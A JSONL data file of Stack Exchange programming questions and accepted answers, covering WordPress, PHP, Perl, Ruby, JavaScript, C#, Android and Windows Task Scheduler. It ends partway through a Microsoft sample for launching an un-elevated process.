{"id": "hf_99ccca5d606e", "question": "<p>Is there a way to use <strong>THE LOOP</strong> in <strong>Wordpress</strong> to load pages instead of posts?</p>\n\n<p>I would like to be able to query a set of child pages, and then use <strong>THE LOOP</strong> function calls on it - things like <code>the_permalink()</code> and <code>the_title()</code>.</p>\n\n<p>Is there a way to do this? I didn't see anything in <code>query_posts()</code> documentation.</p>\n", "question_body": "", "answer": "Yes, that's possible. You can create a new WP_Query object. Do something like this:\n```\n```\nquery_posts(array('showposts' => <number_of_pages_to_show>, 'post_parent' => <ID of the parent page>, 'post_type' => 'page'));\n\nwhile (have_posts()) { the_post();\n    /* Do whatever you want to do for every page... */\n}\n\nwp_reset_query();  // Restore global post data\n```\n```\nAddition\n: There are a lot of other parameters that can be used with query_posts. Some, but unfortunately not all, are listed here:\nhttp://codex.wordpress.org/Template_Tags/query_posts\n. At least\n```\npost_parent\n```\nand more important\n```\npost_type\n```\nare not listed there. I dug through the sources of\n```\n./wp-include/query.php\n```\nto find out about these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.490613"}
{"id": "hf_59f3a6be4618", "question": "<p>I'm looking for a container that keeps all its items in order.  I looked at SortedList, but that requires a separate key, and does not allow duplicate keys.  I could also just use an unsorted container and explicitly sort it after each insert.</p>\n\n<p>Usage:</p>\n\n<ul>\n<li>Occasional insert</li>\n<li>Frequent traversal in order</li>\n<li>Ideally not working with keys separate from the actual object, using a compare function to sort.</li>\n<li>Stable sorting for equivalent objects is desired, but not required. </li>\n<li>Random access is not required.</li>\n</ul>\n\n<p>I realize I can just build myself a balanced tree structure, I was just wondering if the framework already contains such a beast.</p>\n", "question_body": "", "answer": "If the key is also an attribute of the object, you might try the\n```\nSystem.Collections.ObjectModel.KeyedCollection<TKey, TItem>\n```\n.  It's an abstract class, but if your key is just a property of the item then it's real simple to derive from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.527239"}
{"id": "hf_7e9bf1f4094d", "question": "<p>What's the best/most efficient way to extract text set between parenthesis? Say I wanted to get the string \"text\" from the string \"ignore everything except this (text)\" in the most efficient manner possible.</p>\n\n<p>So far, the best I've come up with is this:</p>\n\n<pre><code>$fullString = \"ignore everything except this (text)\";\n$start = strpos('(', $fullString);\n$end = strlen($fullString) - strpos(')', $fullString);\n\n$shortString = substr($fullString, $start, $end);\n</code></pre>\n\n<p>Is there a better way to do this? I know in general using regex tends to be less efficient, but unless I can reduce the number of function calls, perhaps this would be the best approach? Thoughts?</p>\n", "question_body": "", "answer": "i'd just do a regex and get it over with. unless you are doing enough iterations that it becomes a huge performance issue, it's just easier to code (and understand when you look back on it)\n```\n```\n$text = 'ignore everything except this (text)';\npreg_match('#\\((.*?)\\)#', $text, $match);\nprint $match[1];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.563526"}
{"id": "hf_5064368a8cf4", "question": "<p>There's something I want to customize in the System.Web.Script.Services.ScriptHandlerFactory and other .NET stuff inside an internal class.  Unfortunately, it's an internal class.  What options do I have when trying to customize a method in this class?</p>\n", "question_body": "", "answer": "You might find\nthis recent article\nenlightening.  Basically, it says that you can't override anything marked\n```\ninternal\n```\n, and the source is about as authoritative as it gets.  Best you can hope for is an extension method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.587329"}
{"id": "hf_45e91b561aba", "question": "<p>I need to do a query that search for a text with <strong>'Nome % teste \\  / '</strong> as prefix. I'm doing the query using:</p>\n\n<p><strong>where \"name\" ILIKE 'Nome a% teste \\ /%' ESCAPE 'a'</strong> (using a as escape character).</p>\n\n<p>There is a row that match this, but this query returns nothing. Removing the slash (<strong>'Nome % teste \\'</strong>), it works. But I don't see why the <strong>slash</strong> is a problem, since the default escape is a <strong>backslash</strong> and I've changed it to <strong>'a'</strong> in this test.</p>\n\n<p>There is something that I'm missing? (I've consulted TFM)</p>\n", "question_body": "", "answer": "Have you tried just using the backslash to escape it like this:\n```\n```\nwhere \"name\" ILIKE 'Nome \\% teste \\\\\\/';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.708857"}
{"id": "hf_3c3fb7e11257", "question": "<p>I have a form that has multiple fields, and for testing purposes is there a way I could print out the values entered in all the fields, without having to individually print each value.</p>\n", "question_body": "", "answer": "You should be able to do a\n```\nvar_dump($_REQUEST);\n```\nhttp://us2.php.net/manual/en/reserved.variables.request.php\nhttp://us2.php.net/manual/en/function.var-dump.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.778677"}
{"id": "hf_b9f9439315fa", "question": "<p>I'm working on a system that includes a large number of reports, generated using <a href=\"http://jasperforge.org/plugins/project/project_home.php?group_id=102\" rel=\"noreferrer\">JasperReports</a>. One of the newer features is that you can define styles for reports.</p>\n\n<p>From the available docs I believe there is some way to have an external file defining styles to use, and you can reference that in your jasper reports. This allows a single style to be used by multiple reports.</p>\n\n<p>I can't find any concrete information on whether this is an actual feature, and if it is, how to use it. Does anyone know if it is possible to have external styles for jasper reports, and if so, how to do it?</p>\n", "question_body": "", "answer": "Use\nJasperReport templates\n. A JasperReports template is one that ends in\n```\n.jrtx\n```\n, and may look similar to this (\n```\nstyles.jrtx\n```\n):\n```\n```\n<?xml version=\"1.0\"?>\n<!DOCTYPE jasperTemplate\n  PUBLIC \"-//JasperReports//DTD Template//EN\"\n  \"http://jasperreports.sourceforge.net/dtds/jaspertemplate.dtd\">\n\n<jasperTemplate>\n    <style name=\"Report Title\" isDefault=\"false\" hAlign=\"Center\" fontSize=\"24\" isBold=\"true\"/>\n    <style name=\"Heading 1\" isDefault=\"false\" fontSize=\"18\" isBold=\"true\"/>\n    <style name=\"Heading 2\" isDefault=\"false\" fontSize=\"14\" isBold=\"true\"/>\n</jasperTemplate>\n```\n```\nand then in your\n```\n.jrxml\n```\nfile, include it as a template:\n```\n```\n...\n<template><![CDATA[\"styles.jrtx\"]]></template>\n...\n```\n```\niReport also understands this, so your styles are imported and shown in iReport correctly (though I did notice sometimes it wouldn't pick them up an a reload or recompile was necessary).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.806876"}
{"id": "hf_90c2e132982e", "question": "<p>All right, say I have this:</p>\n\n<pre><code>&lt;select id='list'&gt;\n    &lt;option value='1'&gt;Option A&lt;/option&gt;\n    &lt;option value='2'&gt;Option B&lt;/option&gt;\n    &lt;option value='3'&gt;Option C&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>What would the selector look like if I wanted to get \"Option B\" when I have the value '2'?</p>\n\n<p>Please note that this is not asking how to get the <em>selected</em> text value, but just any one of them, whether selected or not, depending on the value attribute. I tried:</p>\n\n<pre><code>$(\"#list[value='2']\").text();\n</code></pre>\n\n<p>But it is not working.</p>\n", "question_body": "", "answer": "It's looking for an element with id\n```\nlist\n```\nwhich has a property\n```\nvalue\n```\nequal to\n```\n2\n```\n.\nWhat you want is the\n```\noption\n```\nchild of the\n```\nlist\n```\n:\n```\n```\n$(\"#list option[value='2']\").text()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.866456"}
{"id": "hf_77b3b428a495", "question": "<p>I need to match something in the form </p>\n\n<pre><code>&lt;a href=\"pic/5\" id=\"piclink\"&gt;&lt;img src=\"thumb/5\" /&gt;&lt;/a&gt;\n</code></pre>\n\n<p>to find the number, in this case 5, using JavaScript. I have no idea how to use regexes, so I was wondering if anyone here could help out.</p>\n", "question_body": "", "answer": "Nevermind, I solved it with a simple\n```\n```\n'<a href=\"pic/5\" id=\"piclink\"><img src=\"thumb/5\" /></a>'.match(/[0-9]/);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.902855"}
{"id": "hf_003424fc48f7", "question": "<p>I need to extract only the 2nd level part of the domain from request.servervariables(\"HTTP_HOST\") what is the best way to do this?</p>\n", "question_body": "", "answer": "```\n```\nIf Len(strHostDomain) > 0 Then      \n    aryDomain = Split(strHostDomain,\".\")\n\n    If uBound(aryDomain) >= 1 Then\n        str2ndLevel = aryDomain(uBound(aryDomain)-1)\n        strTopLevel = aryDomain(uBound(aryDomain))          \n        strDomainOnly = str2ndLevel & \".\" & strTopLevel\n    End If\nEnd If\n```\n```\nworks for what I need but it doesn't handle .co.uk or other domains that have two parts expected for the top level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.962417"}
{"id": "hf_76afff2b90dd", "question": "<p>I've inherited a piece of code with a snippet which empties the database as follows:</p>\n\n<pre><code>dbmopen (%db,\"file.db\",0666);\nforeach $key (keys %db) {\n  delete $db{$key};\n}\ndbmclose (%db);\n</code></pre>\n\n<p>This is usually okay but sometimes the database grows very large before this cleanup code is called and it's usually when a user wants to do something important.</p>\n\n<p>Is there a better way of doing this?</p>\n", "question_body": "", "answer": "Actually, a workmate has pointed me to a solution.  You can apparently do:\n```\n```\ndbmopen (%db,\"file.db\",0666);\n%db = ();\ndbmclose (%db);\n```\n```\nwhich clears out the hash before closing the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.986448"}
{"id": "hf_e8edf8d0d10f", "question": "<p>I've been working with the Joomla framework and I have noticed that they use a convention to designate private or protected methods (they put an underscore \"<code>_</code>\" in front of the method name), but they do not explicitly declare any methods <code>public</code>, <code>private</code>, or <code>protected</code>.  Why is this?  Does it have to do with portability?  Are the <code>public</code>, <code>private</code>, or <code>protected</code> keywords not available in older versions of PHP?</p>\n", "question_body": "", "answer": "public, private and protected are PHP5 keywords. unfortunately, PHP4 still has a very high install base (especially amongst shared hosting services).\nhere's a\npretty pic\nshowing july usage rates (text in french).\nspoiler\n: php4 still has over a 35% usage rate sadly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.022723"}
{"id": "hf_a2cd39c55be9", "question": "<p>I've seen some horrific code written in Perl, but I can't make head nor tail of this one:</p>\n\n<pre><code>select((select(s),$|=1)[0])\n</code></pre>\n\n<p>It's in some networking code that we use to communicate with a server and I assume it's something to do with buffering (since it sets <code>$|</code>).</p>\n\n<p>But I can't figure out why there's multiple <code>select</code> calls or the array reference. Can anyone help me out?</p>\n", "question_body": "", "answer": "It's a nasty little idiom for setting autoflush on a filehandle other than STDOUT.\n```\nselect()\n```\ntakes the supplied filehandle and (basically) replaces STDOUT with it, and it returns the old filehandle when it's done.\nSo\n```\n(select($s),$|=1)\n```\nredirects the filehandle (remember\n```\nselect\n```\nreturns the old one), and sets autoflush (\n```\n$| = 1\n```\n). It does this in a list (\n```\n(...)[0]\n```\n) and returns the first value (which is the result of the\n```\nselect\n```\ncall - the original STDOUT), and then passes\nthat\nback into another\n```\nselect\n```\nto reinstate the original STDOUT filehandle. Phew.\nBut now you understand it (well, maybe ;)), do this instead:\n```\n```\nuse IO::Handle;\n$fh->autoflush;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.071012"}
{"id": "hf_2157bb30b7d7", "question": "<p>I need to be able to send encrypted data between a Ruby client and a Python server (and vice versa) and have been having trouble with the <a href=\"http://rubyforge.org/projects/ruby-aes\" rel=\"nofollow noreferrer\">ruby-aes</a> gem/library. The library is very easy to use but we've been having trouble passing data between it and the pyCrypto AES library for Python. These libraries seem to be fine when they're the only one being used, but they don't seem to play well across language boundaries. Any ideas?</p>\n\n<p>Edit: We're doing the communication over SOAP and have also tried converting the binary data to base64 to no avail. Also, it's more that the encryption/decryption is almost but not exactly the same between the two (e.g., the lengths differ by one or there is extra garbage characters on the end of the decrypted string)</p>\n", "question_body": "", "answer": "Kind of depends on how you are transferring the encrypted data. It is possible that you are writing a file in one language and then trying to read it in from the other. Python (especially on Windows) requires that you specify binary mode for binary files. So in Python, assuming you want to decrypt there, you should open the file like this:\n```\n```\nf = open('/path/to/file', 'rb')\n```\n```\nThe \"b\" indicates binary. And if you are writing the encrypted data to file from Python:\n```\n```\nf = open('/path/to/file', 'wb')\nf.write(encrypted_data)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.121642"}
{"id": "hf_9dd74774877c", "question": "<p>I'm trying to implement search result highlighting for pdfs in a web app. I have the original pdfs, and small png versions that are used in search results. Essentially I'm looking for an api like:</p>\n\n<pre><code>pdf_document.find_offsets('somestring')\n# =&gt; { top: 501, left: 100, bottom: 520, right: 150 }, { ... another box ... }, ...\n</code></pre>\n\n<p>I know it's possible to get this information out of a pdf because Apple's Preview.app implements this.</p>\n\n<p>Need something that runs on Linux and ideally is open source. I'm aware you can do this with acrobat on windows.</p>\n", "question_body": "", "answer": "I think you can do this using the Adobe Acrobat SDK, a Linux version of which can be\ndownloaded for free from Adobe\n. You can use this to\nextract text from PDFs\nand then work out offsets. The PDF can then be highlighted by using the\nAcrobat XML highlighting file\n. This is used to specify which words in which positions are to be highlighted and is fed to acrobat as follows:\nhttp://example.com/a.pdf#xml=http://example.com/highlightfile.xml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.146627"}
{"id": "hf_4d86fbb0b56f", "question": "<p>Some ways to iterate through the characters of a string in Java are:</p>\n<ol>\n<li>Using <code>StringTokenizer</code>?</li>\n<li>Converting the <code>String</code> to a <code>char[]</code> and iterating over that.</li>\n</ol>\n<p>What is the easiest/best/most correct way to iterate?</p>\n", "question_body": "", "answer": "I use a for loop to iterate the string and use\n```\ncharAt()\n```\nto get each character to examine it.  Since the String is implemented with an array, the\n```\ncharAt()\n```\nmethod is a constant time operation.\n```\n```\nString s = \"...stuff...\";\n\nfor (int i = 0; i < s.length(); i++){\n    char c = s.charAt(i);        \n    //Process char\n}\n```\n```\nThat's what I would do.  It seems the easiest to me.\nAs far as correctness goes, I don't believe that exists here.  It is all based on your personal style.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.232572"}
{"id": "hf_589ffebfd2bf", "question": "<p>I am looking for a way to add a drop down list in WPF to a menu. This used to be really easy in winforms and so I am expecting you experts to know just now to do it in WPF. Thanks.</p>\n\n<p>Sorry if this is a bad question, it is late and I don't want to think.</p>\n", "question_body": "", "answer": "It is very easy to add any UIElement to any control, You can just add Combobox to a Menu control and create menu as bellow.\n```\n```\n<Menu>\n    <MenuItem Header=\"File\">\n        <MenuItem Header=\"Open\"/>\n        <MenuItem Header=\"Close\"/>\n        <Separator/>\n        <ComboBox Width=\"85\" Height=\"21.96\" />\n    </MenuItem>\n</Menu>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.255900"}
{"id": "hf_f98d618c4ae0", "question": "<p>In Python, you can do this:</p>\n<pre><code>print &quot;Hi!  I'm %(name)s, and I'm %(age)d years old.&quot; % ({&quot;name&quot;:&quot;Brian&quot;,&quot;age&quot;:30})\n</code></pre>\n<p>What's the closest, simplest Ruby idiom to replicate this behavior?  (No monkeypatching the String class, please.)</p>\n<p>One of the really excellent benefits of this is that you can store the pre-processed string in a variable and use it as a &quot;template&quot;, like so:</p>\n<pre><code>template = &quot;Hi!  I'm %(name)s, and I'm %(age)d years old.&quot;\ndef greet(template,name,age):\n    print template % ({&quot;name&quot;:name,&quot;age&quot;:age})\n</code></pre>\n<p>This is obviously a trivial example, but there is a lot of utility in being able to store such a string for later use.  Ruby's <code>&quot;Hi!  I'm #{name}&quot;</code> convention is cursorily similar, but the immediate evaluation makes it less versatile.</p>\n", "question_body": "", "answer": "In a double-quoted string in Ruby, you can insert the result of a Ruby expression like this:\n```\n```\nputs \"Hi!  I'm #{name}, and I'm #{age} years old.\"\n```\n```\nJust put an expression inside the curly braces. (It could also be something more complex like #{age + 5}, or #{name + ' ' + last_name}, or a function call.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.278115"}
{"id": "hf_ce0a329b6666", "question": "<p>I'm looking for a <strong>subversion web client</strong> ala <a href=\"http://search.cpan.org/dist/SVN-Web/\" rel=\"nofollow noreferrer\">SVN::Web</a> but with a very specific feature I've always thought would be quite useful.</p>\n\n<p>What I want is the ability to find <strong>which revision was responsible for a certain line</strong> (or lines) in a text file.  A way to do this via the web would be fantastic.</p>\n\n<p>Anybody know of such a tool?</p>\n", "question_body": "", "answer": "I thought that SVN had the 'blame' function that could do something similar to that. I am taking a stab in the dark though.  Hold on while I take a quick look through the interwebs.\nYou bet.  Check\nthis\nout.  (I use subclipse btw)\nThis implies that most web SVN interfaces will have this feature because it is not anything really special.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.316957"}
{"id": "hf_5483436b9cdd", "question": "<p>I need to change color of TextBox whenever its required field validator is fired on Clicking the Submit button</p>\n", "question_body": "", "answer": "Here's some self-contained HTML/JS that does the trick:\n```\n```\n<html>\n  <head>\n    <script type=\"text/javascript\">\n      function mkclr(cntl,clr) {\n        document.getElementById(cntl).style.backgroundColor = clr;\n      };\n    </script>\n  </head>\n  <body>\n    <form>\n      <input type=\"textbox\" id=\"tb1\"></input>\n      <input type=\"submit\" value=\"Go\"\n        onClick=\"javascript:mkclr('tb1','red');\">\n      </input>\n    </form>\n  </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.340937"}
{"id": "hf_7597e2348e70", "question": "<p>JavaScript doesn't seem to have a native <code>trim()</code> method. How can I trim white spaces at the start and end of a string with JavaScript?</p>\n", "question_body": "", "answer": "according to\nthis page\nthe best all-around approach is\n```\n```\nreturn str.replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, '');\n```\n```\nOf course if you are using jQuery , it will provide you with an optimized trim method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.484712"}
{"id": "hf_e1f38f2d6210", "question": "<p>How, in the simplest possible way, distinguish between Windows XP and Windows Vista, using Python and <a href=\"http://python.net/crew/mhammond/win32/Downloads.html\" rel=\"noreferrer\">pywin32</a> or <a href=\"http://www.wxpython.org/\" rel=\"noreferrer\">wxPython</a>?</p>\n\n<p>Essentially, I need a function that called will return True iff current OS is Vista:</p>\n\n<pre><code>&gt;&gt;&gt; isWindowsVista()\nTrue\n</code></pre>\n", "question_body": "", "answer": "The simplest solution I found is this one:\n```\n```\nimport sys\n\ndef isWindowsVista():\n    '''Return True iff current OS is Windows Vista.'''\n    if sys.platform != \"win32\":\n        return False\n    import win32api\n    VER_NT_WORKSTATION = 1\n    version = win32api.GetVersionEx(1)\n    if not version or len(version) < 9:\n        return False\n    return ((version[0] == 6) and \n            (version[1] == 0) and\n            (version[8] == VER_NT_WORKSTATION))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.508364"}
{"id": "hf_0a07ea03b785", "question": "<p>I'm writing some code for a class constructor which loops through all the properties of the class and calls a generic static method which populates my class with data from an external API. So I've got this as an example class:</p>\n\n<pre><code>public class MyClass{\n  public string Property1 { get; set; }\n  public int Property2 { get; set; }\n  public bool Property3 { get; set; }\n\n  public static T DoStuff&lt;T&gt;(string name){\n    // get the data for the property from the external API\n    // or if there's a problem return 'default(T)'\n  }\n}\n</code></pre>\n\n<p>Now in my constructor I want something like this:</p>\n\n<pre><code>public MyClass(){\n  var properties = this.GetType().GetProperties();\n  foreach(PropertyInfo p in properties){\n    p.SetValue(this, DoStuff(p.Name), new object[0]);\n  }\n}\n</code></pre>\n\n<p>So the above constructor will thrown an error because I'm not supplying the generic type.</p>\n\n<p>So how do I pass in the type of the property in?</p>\n", "question_body": "", "answer": "Do you want to call DoStuff<T> with T = the type of each property? In which case, \"as is\" you would need to use reflection and MakeGenericMethod - i.e.\n```\n```\nvar properties = this.GetType().GetProperties();\nforeach (PropertyInfo p in properties)\n{\n    object value = typeof(MyClass)\n    .GetMethod(\"DoStuff\")\n    .MakeGenericMethod(p.PropertyType)\n    .Invoke(null, new object[] { p.Name });\n    p.SetValue(this, value, null);\n}\n```\n```\nHowever, this isn't very pretty. In reality I wonder if it wouldn't be better just to have:\n```\n```\nstatic object DoStuff(string name, Type propertyType);\n... and then\nobject value = DoStuff(p.Name, p.PropertyType);\n```\n```\nWhat does the generics give you in this example? Note that value-types will still get boxed etc during the reflection call - and even then boxing\nisn't as bad as you might think\n.\nFinally, in many scenarios, TypeDescriptor.GetProperties() is more appropriate than Type.GetProperties() - allows for flexible object models etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.531585"}
{"id": "hf_f79461f6eeb1", "question": "<p>I was trying the following example, but with external URLs:\n<a href=\"http://android-developers.blogspot.com/2008/09/using-webviews.html\" rel=\"nofollow noreferrer\">Using WebViews</a></p>\n\n<p>The example shows how to load an HTML file from assets folder (<code>file:// url</code>) and display it in a WebView. </p>\n\n<p>But when I try it with external URLs (like <a href=\"http://google.com\" rel=\"nofollow noreferrer\">http://google.com</a>), I am always getting a \"Website Not Available\" error. Android's built-in browser is able to access all external URLs. </p>\n\n<p>I suspect that it has something to do with permissions, but wasn't able to confirm it.</p>\n", "question_body": "", "answer": "I found out the answer myself.\nThe permission name is android.permission.INTERNET.\nAdding following line to the AndroidManifest.xml (nested directly in  tag) did the trick:\n```\n```\n<uses-permission android:name=\"android.permission.INTERNET\"></uses-permission>\n```\n```\nThe file can also be edited graphically in Eclipse plugin through permissions tab.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.555075"}
{"id": "hf_41c08375e6c0", "question": "<p>I have an application that I have to run as Administrator.</p>\n\n<p>One small part of that application is to start other applications with Process.Start</p>\n\n<p>The started applications will also be run as administrators, but I'd rather see them run as the 'normal' user.</p>\n\n<p>How do I accomplish that?</p>\n\n<p>/johan/</p>\n", "question_body": "", "answer": "From:\nhttp://go.microsoft.com/fwlink/?LinkId=81232\nA frequently asked question is how to\n  launch an un-elevated application from\n  an elevated process, or more\n  fundamentally, how to I launch a\n  process using my un-elevated token\n  once I’m running elevated.  Since\n  there is no direct way to do this, the\n  situation can usually be avoided by\n  launching the original application as\n  standard user and only elevating those\n  portions of the application that\n  require administrative rights.  This\n  way there is always a non-elevated\n  process that can be used to launch\n  additional applications as the\n  currently logged on desktop user. \n  Sometimes, however, an elevated\n  process needs to get another\n  application running un-elevated.  This\n  can be accomplished by using the task\n  scheduler within Windows Vista.  The\n  elevated process can register a task\n  to run as the currently logged on\n  desktop user.\nHere is an example of how to schedule the un-elevated process (again from the same link)\n```\n```\n//---------------------------------------------------------------------\n//  This file is part of the Microsoft .NET Framework SDK Code Samples.\n// \n//  Copyright (C) Microsoft Corporation.  All rights reserved.\n// \n//This source code is intended only as a supplement to Microsoft\n//Development Tools and/or on-line documentation.  See these other\n//materials for detailed information regarding Microsoft code samples.\n// \n//THIS CODE AND INFORMATION ARE PROVIDED AS IS WITHOUT WARRANTY OF ANY\n//KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n//IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A\n//PARTICULAR PURPOSE.\n//---------------------------------------------------------------------\n\n/****************************************************************************\n* Main.cpp - Sample application for Task Scheduler V2 COMAPI                * Component: Task Scheduler                          \n* Copyright (c) 2002 - 2003, Microsoft Corporation \n* This sample creates a task to that launches as the currently logged on deskup user. The task launches as soon as it is registered.                                                             *\n****************************************************************************/\n#include \"stdafx.h\"\n#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <comdef.h>\n#include <comutil.h>\n//Include Task header files - Included in Windows Vista Beta-2 SDK from MSDN\n#include <taskschd.h>\n#include <conio.h>\n#include <iostream>\n#include <time.h>\n\nusing namespace std;\n\n#define CLEANUP \\\npRootFolder->Release();\\\n        pTask->Release();\\\n        CoUninitialize();\n\nHRESULT CreateMyTask(LPCWSTR, wstring);\n\nvoid __cdecl wmain(int argc, wchar_t** argv)\n{\nwstring wstrExecutablePath;\nWCHAR taskName[20];\nHRESULT result;\n\nif( argc < 2 )\n{\nprintf(\"\\nUsage: LaunchApp yourapp.exe\" );\nreturn;\n}\n\n// Pick random number for task name\nsrand((unsigned int) time(NULL));\nwsprintf((LPWSTR)taskName, L\"Launch %d\", rand());\n\nwstrExecutablePath = argv[1];\n\nresult = CreateMyTask(taskName, wstrExecutablePath);\nprintf(\"\\nReturn status:%d\\n\", result);\n\n}\nHRESULT CreateMyTask(LPCWSTR wszTaskName, wstring wstrExecutablePath)\n{\n    //  ------------------------------------------------------\n    //  Initialize COM.\nTASK_STATE taskState;\nint i;\n    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCoInitializeEx failed: %x\", hr );\n        return 1;\n    }\n\n    //  Set general COM security levels.\n    hr = CoInitializeSecurity(\n        NULL,\n        -1,\n        NULL,\n        NULL,\n        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n        RPC_C_IMP_LEVEL_IMPERSONATE,\n        NULL,\n        0,\n        NULL);\n\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCoInitializeSecurity failed: %x\", hr );\n        CoUninitialize();\n        return 1;\n    }\n\n    //  ------------------------------------------------------\n    //  Create an instance of the Task Service. \n    ITaskService *pService = NULL;\n    hr = CoCreateInstance( CLSID_TaskScheduler,\n                           NULL,\n                           CLSCTX_INPROC_SERVER,\n                           IID_ITaskService,\n                           (void**)&pService );  \n    if (FAILED(hr))\n    {\n        printf(\"Failed to CoCreate an instance of the TaskService class: %x\", hr);\n        CoUninitialize();\n        return 1;\n    }\n\n    //  Connect to the task service.\n    hr = 